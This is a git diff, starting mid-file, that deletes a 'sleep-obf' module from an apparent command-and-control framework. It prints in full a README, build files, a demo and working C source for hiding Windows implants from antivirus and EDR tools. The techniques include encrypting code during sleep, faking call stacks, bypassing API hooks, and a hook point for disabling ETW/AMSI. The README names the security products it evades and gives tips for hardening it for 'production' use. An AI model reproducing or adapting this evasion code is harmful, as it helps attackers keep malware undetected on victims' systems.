s.upper(): - h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF - h = (h + ord(c)) & 0xFFFFFFFF - return h - -apis = [ - 'kernel32.dll', - 'LoadLibraryA', - 'GetProcAddress', - 'VirtualAlloc', - 'VirtualProtect', - 'FlushInstructionCache', - 'GetCurrentProcess', -] - -for a in apis: - key = a.replace('.', '_') - print('#define HASH_%-30s 0x%08XULL // %s' % (key, rl_hash(a), a)) diff --git a/techniques/sleep-obf/Makefile b/techniques/sleep-obf/Makefile deleted file mode 100644 index 34316ec..0000000 --- a/techniques/sleep-obf/Makefile +++ /dev/null @@ -1,28 +0,0 @@ -CC = x86_64-w64-mingw32-gcc -CFLAGS = -O2 -Wall -Wextra \ - -Iinclude \ - -masm=att \ - -fno-asynchronous-unwind-tables \ - -fno-ident \ - -fno-stack-protector -LDFLAGS = -lbcrypt -lntdll - -SRC = src/sleep_obf.c src/demo.c -OBJ = $(patsubst src/%.c, build/%.o, $(SRC)) -TARGET = build/demo.exe - -all: build $(TARGET) - -build: - mkdir -p build - -build/%.o: src/%.c - $(CC) $(CFLAGS) -c $< -o $@ - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS) - -clean: - rm -rf build - -.PHONY: all clean diff --git a/techniques/sleep-obf/README.md b/techniques/sleep-obf/README.md deleted file mode 100644 index e2be1e1..0000000 --- a/techniques/sleep-obf/README.md +++ /dev/null @@ -1,117 +0,0 @@ -# sleep-obf - -Encrypted sleep obfuscation for Windows x64 implants. - -Encrypts the calling module's `.text` section with a `BCryptGenRandom` key, marks it `PAGE_NOACCESS`, pivots to a fake thread context waiting on `NtWaitForSingleObject`, and decrypts on wakeup. Stack scan during sleep shows a legitimate `NtWaitForSingleObject` call chain, not your implant. - -Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2). - ---- - -## How it works - -``` -RtlCaptureContext() <- save real context (RIP points back here) - | - v -CreateThread(_timer_thread) <- fires Sleep(ms) then SetEvent(done) - | - v -XOR .text with 32-byte BCryptGenRandom key -VirtualProtect .text -> PAGE_NOACCESS -Rewrite TEB StackBase/StackLimit -> fake stack - | - v -NtContinue(fake_ctx) <- pivot: RIP=NtWaitForSingleObject, RSP=fake_stack - | stack now shows: NtWait -> RtlUserThreadStart+0x10 - v -[EVENT FIRES after ms] - | - v -_sleep_trampoline() <- on fake stack, called as return from NtWait - | - v -XOR .text again (decrypt) -VirtualProtect .text -> PAGE_EXECUTE_READ -Restore TEB stack bounds -NtContinue(real_ctx) <- resume exactly where RtlCaptureContext was called -``` - -Key properties: - -- **Fake call stack**: during sleep, the thread stack shows `NtWaitForSingleObject` called from `RtlUserThreadStart+0x10`. No implant frames visible. -- **TEB stack bounds rewritten**: `StackBase`/`StackLimit` in the TEB point to the fake stack so ETW stack walks stay within valid bounds. -- **Timer thread in `.run` section**: timer thread code and trampoline are in a separate `.run` section, not `.text`. They keep executing while `.text` is `NOACCESS`. -- **No IAT thunks in critical path**: `VirtualProtect`, `Sleep`, `SetEvent` are resolved to direct function addresses and stored in `obf_ctx_t`. IAT thunks live in `.text` and would fault if called during sleep. -- **NtProtectVirtualMemory** is used instead of `VirtualProtect` to protect the protect call itself from userland hooks. -- **ACG fallback**: if the permission round-trip fails (e.g. ACG-enforced process), falls back to plain `Sleep()`. - ---- - -## Usage - -```c -#include "sleep_obf.h" - -// basic usage -sleep_obf(5000); // sleep 5 seconds with .text encrypted - -// optional: hook to arm ETW/AMSI hardware breakpoints on the timer thread -// (implement your own or use the hwbp-evasion technique) -g_sleep_obf_thread_hook = my_hwbp_arm_fn; -sleep_obf(5000); -``` - ---- - -## Build - -Requires MinGW-w64 cross-compiler. - -```bash -make -./build/demo.exe -``` - -On a Windows host with MSVC, adjust `CC`, link `bcrypt.lib` and `ntdll.lib`. - ---- - -## Limitations - -- x64 only. -- Requires the calling module to have a `.text` section (standard for PE files). -- Does not survive process suspension during the encryption window (between `CreateThread` and `NtContinue`) — this window is a few microseconds. -- DLLs with `DLL_THREAD_ATTACH` callbacks that touch `.text` will fault during timer thread creation if `.text` is already encrypted. The implementation creates the thread **before** encrypting to avoid this. - -### Kernel-mode AV (Kaspersky, ESET, etc.) - -Some AV products (notably Kaspersky Total Security / KAV) use kernel-mode callbacks that intercept `NtProtectVirtualMemory` calls targeting the process's own `.text` section. When detected, they terminate the thread via a kernel APC before the syscall returns. **No userland exception handler (VEH, SEH) can catch this** — the VEH is never invoked. - -The implementation handles this gracefully: the permission round-trip test (`PAGE_READWRITE` → restore) catches the failure and falls back to plain `Sleep()` before any encryption is attempted. The setjmp/VEH in `_nt_prot` catches the exception on products that raise it (Defender, etc.); for products that issue a kernel APC (Kaspersky), the fallback relies on a clean thread termination message in the OS. - -**Testing**: run in a VM without AV, or with AV excluded/disabled, to observe the full sleep obfuscation behavior. The technique is effective against userland-hook-based EDRs (Microsoft Defender, CrowdStrike Falcon in standard config, SentinelOne in detect-only mode). - ---- - -## Operational notes - -This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production: - -- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules without touching the IAT or leaving strings in `.rdata`. -- Encrypt sensitive string literals (see EVS XOR in KHAOS C2). - ---- - -## Credits - -Technique originally described by [Ekko](https://github.com/Cracked5pider/Ekko) (Cracked5pider). This implementation extends it with: - -- `NtProtectVirtualMemory` instead of `VirtualProtect` for the permission flip -- TEB `StackBase`/`StackLimit` rewrite for ETW stack walk validity -- Fallback path for ACG-enforced environments -- Thread hook integration point for HWBP-based ETW/AMSI bypass - ---- - -*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)* diff --git a/techniques/sleep-obf/include/sleep_obf.h b/techniques/sleep-obf/include/sleep_obf.h deleted file mode 100644 index caf5569..0000000 --- a/techniques/sleep-obf/include/sleep_obf.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once -#include - -/* - * Optional hook called with the timer thread handle before .text is encrypted. - * Use to arm hardware breakpoints (ETW/AMSI bypass) on the timer thread. - * Set to NULL if not needed. - */ -typedef void (*sleep_obf_thread_hook_t)(HANDLE hThread); -extern sleep_obf_thread_hook_t g_sleep_obf_thread_hook; - -/* - * sleep_obf() — encrypted sleep - * - * Encrypts the calling module's .text section with a BCryptGenRandom key, - * marks it PAGE_NOACCESS, switches to a fake thread context pointing to - * NtWaitForSingleObject on a fake stack, and restores state on wakeup. - * - * Falls back to plain Sleep() if any setup step fails (ACG, section not - * found, allocation failure). - */ -void sleep_obf(DWORD ms); diff --git a/techniques/sleep-obf/src/demo.c b/techniques/sleep-obf/src/demo.c deleted file mode 100644 index 7890892..0000000 --- a/techniques/sleep-obf/src/demo.c +++ /dev/null @@ -1,26 +0,0 @@ -#include "sleep_obf.h" -#include -#include - -int main(void) -{ - printf("[*] starting — sleeping 5 seconds with .text obfuscation\n"); - fflush(stdout); - - sleep_obf(5000); - - printf("[+] woke up — .text restored, execution resumed\n"); - fflush(stdout); - - /* loop to show repeated sleeps work */ - for (int i = 0; i < 3; i++) { - printf("[*] loop %d — sleeping 2 seconds\n", i + 1); - fflush(stdout); - sleep_obf(2000); - printf("[+] loop %d — resumed\n", i + 1); - fflush(stdout); - } - - printf("[+] done\n"); - return 0; -} diff --git a/techniques/sleep-obf/src/sleep_obf.c b/techniques/sleep-obf/src/sleep_obf.c deleted file mode 100644 index c59313f..0000000 --- a/techniques/sleep-obf/src/sleep_obf.c +++ /dev/null @@ -1,323 +0,0 @@ -#include "sleep_obf.h" -#include -#include -#include -#include -#include - -/* - * PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity. - * In production, replace with a PEB walk to keep these strings off the IAT - * and out of .rdata. See agent/src/evasion/evasion.c in KHAOS C2 for the - * hardened version. - */ - -sleep_obf_thread_hook_t g_sleep_obf_thread_hook = NULL; - -typedef NTSTATUS (NTAPI *NtContinue_t) (PCONTEXT, BOOLEAN); -typedef NTSTATUS (NTAPI *NtWait_t) (HANDLE, BOOLEAN, PLARGE_INTEGER); -typedef VOID (NTAPI *RtlCaptureContext_t) (PCONTEXT); -typedef BOOL (WINAPI *VirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD); -typedef void (WINAPI *Sleep_t) (DWORD); -typedef BOOL (WINAPI *SetEvent_t) (HANDLE); -typedef NTSTATUS (NTAPI *NtProtectVM_t) (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG); - -#define FAKE_STACK_SZ 0x10000 - -typedef struct { - LPVOID text_base; - SIZE_T text_size; - BYTE key[32]; - DWORD sleep_ms; - HANDLE done; - NtContinue_t ntcontinue; - LARGE_INTEGER timeout; - LPVOID fake_stack_mem; - PVOID orig_stack_base; - PVOID orig_stack_limit; - VirtualProtect_t fn_vprot; - Sleep_t fn_sleep; - SetEvent_t fn_setevent; -} obf_ctx_t; - -/* NtProtectVirtualMemory wrapper — bypasses VirtualProtect hooks. - * Uses setjmp/VEH to catch exceptions injected by kernel-mode AV drivers - * (e.g. Kaspersky) that block .text permission changes at kernel level. - * On such systems the roundtrip check fails gracefully and sleep_obf - * falls back to plain Sleep(). */ -static NtProtectVM_t s_ntpvm = NULL; -static jmp_buf s_prot_jmp; -static volatile LONG s_in_prot = 0; - -static LONG WINAPI _prot_veh(EXCEPTION_POINTERS *ep) -{ - if (!s_in_prot) return EXCEPTION_CONTINUE_SEARCH; - if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION || - ep->ExceptionRecord->ExceptionCode == 0xC0000022) { - longjmp(s_prot_jmp, 1); - } - return EXCEPTION_CONTINUE_SEARCH; -} - -static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old) -{ - if (!s_ntpvm) { - s_ntpvm = (NtProtectVM_t)(void *)GetProcAddress( - GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory"); - } - if (!s_ntpvm) return FALSE; - - PVOID veh = AddVectoredExceptionHandler(1, _prot_veh); - InterlockedExchange(&s_in_prot, 1); - - if (setjmp(s_prot_jmp) != 0) { - /* exception caught — NtPVM blocked by kernel AV driver */ - InterlockedExchange(&s_in_prot, 0); - if (veh) RemoveVectoredExceptionHandler(veh); - return FALSE; - } - - PVOID base = addr; - SIZE_T rsz = sz; - ULONG _old = 0; - NTSTATUS st = s_ntpvm((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old); - - InterlockedExchange(&s_in_prot, 0); - if (veh) RemoveVectoredExceptionHandler(veh); - - if (st != 0) return FALSE; - if (old) *old = (DWORD)_old; - return TRUE; -} - -/* Read/write TEB fields via GS segment register */ -__attribute__((section(".run"))) -static inline PVOID _teb_read_ptr(DWORD64 off) -{ - PVOID v; - __asm__ __volatile__("movq %%gs:(%1), %0" : "=r"(v) : "r"(off)); - return v; -} - -__attribute__((section(".run"))) -static inline void _teb_write_ptr(DWORD64 off, PVOID val) -{ - __asm__ __volatile__("movq %0, %%gs:(%1)" :: "r"(val), "r"(off) : "memory"); -} - -/* Globals shared between main thread and trampoline */ -static CONTEXT s_saved_ctx = {0}; -static obf_ctx_t *s_obf_ctx = NULL; -static volatile LONG s_restore = 0; - -/* - * Timer thread: lives entirely in .run so it keeps executing while .text - * is PAGE_NOACCESS. Uses direct function pointers stored in obf_ctx_t, not - * IAT thunks (which sit in .text and would fault on access). - */ -__attribute__((section(".run"), noinline)) -static DWORD WINAPI _timer_thread(LPVOID arg) -{ - obf_ctx_t *c = (obf_ctx_t *)arg; - c->fn_sleep(c->sleep_ms); - c->fn_setevent(c->done); - return 0; -} - -/* - * Wakeup trampoline: called when NtWaitForSingleObject returns via the fake - * stack. Decrypts .text, restores TEB stack bounds, and resumes via NtContinue - * with the real saved context. - */ -__attribute__((section(".run"), noinline)) -static void _sleep_trampoline(void) -{ - obf_ctx_t *c = s_obf_ctx; - BYTE *p = (BYTE *)c->text_base; - SIZE_T n = c->text_size; - DWORD old; - - c->fn_vprot(p, n, PAGE_READWRITE, &old); - for (SIZE_T i = 0; i < n; i++) p[i] ^= c->key[i & 31]; - if (!c->fn_vprot(p, n, PAGE_EXECUTE_READ, &old)) - c->fn_vprot(p, n, PAGE_EXECUTE_READWRITE, &old); - - _teb_write_ptr(0x08, c->orig_stack_base); - _teb_write_ptr(0x10, c->orig_stack_limit); - - c->ntcontinue(&s_saved_ctx, FALSE); - __builtin_unreachable(); -} - -/* - * Encrypt .text, mark PAGE_NOACCESS, rewrite TEB stack bounds to the fake - * stack, then pivot to NtWaitForSingleObject via NtContinue. Never returns. - */ -__attribute__((section(".run"), noinline)) -static void _obf_sleep_tail(obf_ctx_t *ctx, CONTEXT *fake_ctx_ptr) -{ - BYTE *p = (BYTE *)ctx->text_base; - SIZE_T n = ctx->text_size; - DWORD old; - - for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31]; - ctx->fn_vprot(p, n, PAGE_NOACCESS, &old); - - _teb_write_ptr(0x08, (PVOID)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ)); - _teb_write_ptr(0x10, ctx->fake_stack_mem); - - ctx->ntcontinue(fake_ctx_ptr, FALSE); - __builtin_unreachable(); -} - -/* PE header walk to find own .text section */ -static void _find_section(const char *name, LPVOID *base, SIZE_T *sz) -{ - *base = NULL; *sz = 0; - BYTE *img = (BYTE *)GetModuleHandleA(NULL); - if (!img) return; - IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)img; - if (dos->e_magic != IMAGE_DOS_SIGNATURE) return; - IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(img + dos->e_lfanew); - if (nt->Signature != IMAGE_NT_SIGNATURE) return; - IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); - for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) { - int ok = 1; - for (int j = 0; j < 8; j++) { - char c = name[j]; - if (sec->Name[j] != (unsigned char)c) { ok = 0; break; } - if (!c) break; - } - if (ok) { - *base = img + sec->VirtualAddress; - *sz = sec->Misc.VirtualSize; - return; - } - } -} - -void sleep_obf(DWORD ms) -{ - LPVOID text_base = NULL; - SIZE_T text_size = 0; - _find_section(".text", &text_base, &text_size); - if (!text_base || !text_size) { Sleep(ms); return; } - - HMODULE hntdll = GetModuleHandleA("ntdll.dll"); - HMODULE hk32 = GetModuleHandleA("kernel32.dll"); - if (!hntdll || !hk32) { Sleep(ms); return; } - - NtContinue_t fn_cont = (NtContinue_t) GetProcAddress(hntdll, "NtContinue"); - NtWait_t fn_wait = (NtWait_t) GetProcAddress(hntdll, "NtWaitForSingleObject"); - RtlCaptureContext_t fn_cap = (RtlCaptureContext_t)GetProcAddress(hntdll, "RtlCaptureContext"); - PVOID fn_rts = GetProcAddress(hntdll, "RtlUserThreadStart"); - - VirtualProtect_t fn_vprot = (VirtualProtect_t) GetProcAddress(hk32, "VirtualProtect"); - Sleep_t fn_sleep = (Sleep_t) GetProcAddress(hk32, "Sleep"); - SetEvent_t fn_setevent= (SetEvent_t) GetProcAddress(hk32, "SetEvent"); - - if (!fn_cont || !fn_wait || !fn_cap || !fn_vprot || !fn_sleep || !fn_setevent) { - Sleep(ms); return; - } - - obf_ctx_t *ctx = (obf_ctx_t *)HeapAlloc( - GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(obf_ctx_t)); - if (!ctx) { Sleep(ms); return; } - - ctx->text_base = text_base; - ctx->text_size = text_size; - ctx->sleep_ms = ms; - ctx->ntcontinue = fn_cont; - ctx->fn_vprot = fn_vprot; - ctx->fn_sleep = fn_sleep; - ctx->fn_setevent = fn_setevent; - ctx->done = CreateEventA(NULL, FALSE, FALSE, NULL); - if (!ctx->done) { HeapFree(GetProcessHeap(), 0, ctx); Sleep(ms); return; } - - /* relative timeout in 100ns units with 5s buffer */ - ctx->timeout.QuadPart = -((LONGLONG)(ms + 5000) * 10000LL); - - BCryptGenRandom(NULL, ctx->key, sizeof(ctx->key), BCRYPT_USE_SYSTEM_PREFERRED_RNG); - - ctx->fake_stack_mem = VirtualAlloc(NULL, FAKE_STACK_SZ, - MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (!ctx->fake_stack_mem) { - CloseHandle(ctx->done); - HeapFree(GetProcessHeap(), 0, ctx); - Sleep(ms); - return; - } - - /* place trampoline as return address on fake stack top */ - PVOID *fake_top = (PVOID *)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ - 16); - fake_top[0] = (PVOID)_sleep_trampoline; - fake_top[1] = fn_rts ? (PVOID)((BYTE *)fn_rts + 0x10) : NULL; - - ctx->orig_stack_base = _teb_read_ptr(0x08); - ctx->orig_stack_limit = _teb_read_ptr(0x10); - - s_obf_ctx = ctx; - InterlockedExchange(&s_restore, 0); - - /* capture current context — RIP lands here after NtContinue restores it */ - fn_cap(&s_saved_ctx); - - /* two-pass: encrypt path sets s_restore=1; restore path sees it and cleans up */ - if (InterlockedCompareExchange(&s_restore, 0, 1) == 1) { - SecureZeroMemory(ctx->key, sizeof(ctx->key)); - CloseHandle(ctx->done); - VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE); - HeapFree(GetProcessHeap(), 0, ctx); - return; - } - InterlockedExchange(&s_restore, 1); - - /* build fake context: RIP=NtWait, RSP=fake_stack */ - CONTEXT fake_ctx; - memcpy(&fake_ctx, &s_saved_ctx, sizeof(CONTEXT)); - fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top; - fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait; - fake_ctx.Rcx = (DWORD64)ctx->done; - fake_ctx.Rdx = FALSE; - fake_ctx.R8 = (DWORD64)(uintptr_t)&ctx->timeout; - - /* create timer thread before encrypting — DLL_THREAD_ATTACH needs .text */ - HANDLE ht = CreateThread(NULL, 0, _timer_thread, ctx, 0, NULL); - if (!ht) { - SecureZeroMemory(ctx->key, sizeof(ctx->key)); - CloseHandle(ctx->done); - VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE); - HeapFree(GetProcessHeap(), 0, ctx); - InterlockedExchange(&s_restore, 0); - Sleep(ms); - return; - } - - /* optional hook: arm ETW/AMSI breakpoints on the timer thread */ - if (g_sleep_obf_thread_hook) - g_sleep_obf_thread_hook(ht); - - CloseHandle(ht); - - /* verify permission round-trip before committing (fails under ACG) */ - BYTE *p = (BYTE *)text_base; - DWORD old, dummy; - if (!_nt_prot(p, text_size, PAGE_READWRITE, &old)) - goto _fallback; - if (!_nt_prot(p, text_size, old, &dummy)) { - _nt_prot(p, text_size, old, &dummy); - goto _fallback; - } - _nt_prot(p, text_size, PAGE_READWRITE, &old); - - _obf_sleep_tail(ctx, &fake_ctx); - __builtin_unreachable(); - -_fallback: - SecureZeroMemory(ctx->key, sizeof(ctx->key)); - CloseHandle(ctx->done); - VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE); - HeapFree(GetProcessHeap(), 0, ctx); - InterlockedExchange(&s_restore, 0); - Sleep(ms); -}